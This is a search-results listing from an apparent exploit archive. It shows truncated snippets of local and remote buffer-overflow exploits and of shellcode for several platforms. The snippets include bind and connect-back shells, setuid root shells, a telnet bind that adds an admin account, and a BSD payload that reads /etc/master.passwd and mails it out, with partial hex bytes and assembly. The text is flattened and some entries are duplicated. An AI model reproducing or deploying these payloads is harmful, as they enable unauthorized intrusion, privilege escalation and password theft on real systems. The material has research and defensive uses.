7612 matches found
Media Commands (m3u File) Local SEH Overwrite Exploit
Exploit for unknown platform in category local exploits ===================================================== Media Commands m3u File Local SEH Overwrite Exploit ===================================================== usage: exploit.py print "" print " Media Commands m3u File local Seh Overwrite...
Orbit <= 2.4 Long Hostname Remote Buffer Overflow Exploit
No description provided by source. html body Orbit =2.4 Long Hostname Buffer Overflow Vulnerability Pocbr / Vulnerability discovered by Secuniabr / Exploit and POC provided by: JavaGurubr / br / Right click on link below then choose download by orbit, CALC.EXE will pop upbr / br / I got a lot of...
Hex Workshop v6 (.HEX File) Local Code Execution Exploit
No description provided by source. !/usr/bin/perl -w Hex Workshop = v6 .hex File Local Code Execution Discovred by : Security^Ghost Exploited by : DATASNIPER Exploit Tested on WindoZ XP SP2 FR. for more information vist my blog:http://datasniper.arab4services.net/ the exploit it's so weird ;,take...
Pop Peeper 3.4.0.0 UIDL Buffer Overflow Exploit
!/usr/bin/perl KL0209EXP-poppeeperuidl-bof.pl 02.27.2009 Krakow Labs Development www.krakowlabs.com POP Peeper 3.4.0.0 UIDL Remote Buffer Overflow Exploit SEH overwrite exploitation, uses Imap.dll included with POP Peeper for universal exploitation gotta love no /SafeSEH. Special thanks goes to...
Hex Workshop v6 (.HEX File) Local Code Execution Exploit
Exploit for unknown platform in category local exploits ======================================================== Hex Workshop v6 .HEX File Local Code Execution Exploit ======================================================== !/usr/bin/perl -w Hex Workshop = v6 .hex File Local Code Execution...
win32 telnetbind by winexec 111 bytes
Exploit for win32 platform in category shellcode ===================================== win32 telnetbind by winexec 111 bytes ===================================== ; payload:add admin acount & Telnet Listening ; Author: DATASNIPER ; size:111 bytes ; platform:WIN32/XP SP2 FR ; thanks:Arab4services...
POP Peeper 3.4.0.0 UIDL Remote Buffer Overflow Exploit (SEH)
No description provided by source. !/usr/bin/perl KL0209EXP-poppeeperuidl-bof.pl 02.27.2009 Krakow Labs Development www.krakowlabs.com POP Peeper 3.4.0.0 UIDL Remote Buffer Overflow Exploit SEH overwrite exploitation, uses Imap.dll included with POP Peeper for universal exploitation gotta love no...
linux/x86 file reader 65 bytes + pathname
Exploit for linux/x86 platform in category shellcode ========================================= linux/x86 file reader 65 bytes + pathname ========================================= / Linux/x86 file reader. 65 bytes + pathname Author: certaindeath Source code: start: xor %eax, %eax xor %ebx, %ebx xo...
win32 PEB!NtGlobalFlags shellcode 14 bytes
Exploit for win32 platform in category shellcode ========================================== win32 PEB!NtGlobalFlags shellcode 14 bytes ========================================== / PEB!NtGlobalFlags 14 BYTES Author: Koshi Description: Uses PEB method to determine whether a debugger is attached to...
BSD/x86 - setuid/execve - 30 bytes
No description provided by source. / $Id: setuid-bsd.c,v 1.6 2004/06/02 12:22:30 raptor Exp $ setuid-bsd.c - setuid/execve shellcode for BSD/x86 Copyright c 2003 Marco Ivaldi [email protected] Short setuid0 and /bin/sh execve shellcode based on esdee's code. Tested on OpenBSD and FreeBSD. / ...
BSD/x86 - cat /etc/master.passwd & mail root@localhost - 92 bytes
No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 92 bytes. execve/bin/sh -c "/bin/cat /etc/master.passwd|mail root@localhost"; pueden reemplzar el comando por lo que se les ocurra. / char shellcode= "\xeb\x25" / jmp shellcode+39 / "\x59" / popl...
BSD/x86 - setuid/portbind - 94 bytes
No description provided by source. / $Id: portbind-bsd.c,v 1.3 2004/06/02 12:22:30 raptor Exp $ portbind-bsd.c - setuid/portbind shellcode for BSD/x86 Copyright c 2003 Marco Ivaldi [email protected] Simple portbind shellcode that bind's a setuid0 shell on port 31337/tcp based on bighawk's...
BSD/32bits - Passive Connection - 126 bytes
No description provided by source. ; Passive Connection Shellcode ; ; Coded by Scrippie - [email protected] - http://b0f.freebsd.lublin.pl ; Buffer0verfl0w Security ; Why? This evades firewalls... ; ; YES, this is for NASM, I detest AT&T syntaxis - it's gross and unreadable ; ; This is the FreeBSD...
BSD/x86 - execve(/bin/sh) & setuid(0) - 29 bytes
No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 29 bytes. -setuid0; -execve/bin/sh; / char shellcode= "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\xb0\x17" // mov $0x17,%al "\x50" // push %eax "\xcd\x80" // int $0x80 "\x50" // push %eax...
BSD/x86 - execve(/bin/sh) - 27 bytes
No description provided by source. / execvesh.c by n0gada 27 bytes. / include "stdio.h" char shellcode= "\xeb\x0d\x5f\x31\xc0\x50\x89\xe2" "\x52\x57\x54\xb0\x3b\xcd\x80\xe8" "\xee\xff\xff\xff/bin/sh"; int mainvoid int ret; printf"%d\n",strlenshellcode; ret = int &ret+2; ret = intshellcode; return...
Linux/mips - execve("/bin/sh",["/bin/sh"],[]); - 60 bytes
No description provided by source. / - MIPS little-endian - linux execve 60 bytes shellcode - execve"/bin/sh","/bin/sh",; - tested on Linksys WRT54G/GL DD-WRT Linux - based on scut paper Writing MIPS/Irix shellcode vaicebine at gmail dot com / include "stdio.h" char shellcode = "\x50\x73\x06\x24"...
Linux/x86 - bind '/bin/sh' to 31337/tcp - 80 bytes
No description provided by source. / linux/x86 bind '/bin/sh' to 31337/tcp - 80 bytes - izik [email protected] / char shellcode = "\x6a\x66" // push $0x66 "\x58" // pop %eax "\x99" // cltd "\x6a\x01" // push $0x1 "\x5b" // pop %ebx "\x52" // push %edx "\x53" // push %ebx "\x6a\x02" // push $0x2 // /...
Linux/sparc - [setreuid(0,0); execve() of /bin/sh] - 64 bytes
No description provided by source. / Linux/SPARC setreuid0,0; execve of /bin/sh shellcode. / char c0de = / anathema [email protected] / / setreuid0,0; / "\x82\x10\x20\x7e" / mov 126, %g1 / "\x92\x22\x40\x09" / sub %o1, %o1, %o1 / "\x90\x0a\x40\x09" / and %o1, %o1, %o0 / "\x91\xd0\x20\x10" / ta...
Linux/x86 - connect-back 127.0.0.1:31337/tcp - 74 bytes
No description provided by source. / linux/x86 connect-back shellcode, 127.0.0.1:31337/tcp - 74 bytes - izik [email protected] / char shellcode = "\x6a\x66" // push $0x66 "\x58" // pop %eax "\x99" // cltd "\x6a\x01" // push $0x1 "\x5b" // pop %ebx "\x52" // push %edx "\x53" // push %ebx "\x6a\x02" /...
Linux/mips - execve(/bin/sh) - 56 bytes
No description provided by source. / 56 bytes execve /bin/sh shellcode - linux-mipsel - by core [email protected] Note: For MIPS running in little-endian mode. Tested on a Cobalt Qube2 server running Linux 2.4.18 Greetz to bighawk... i couldn't get his execve to work for some reason :/ / char code ...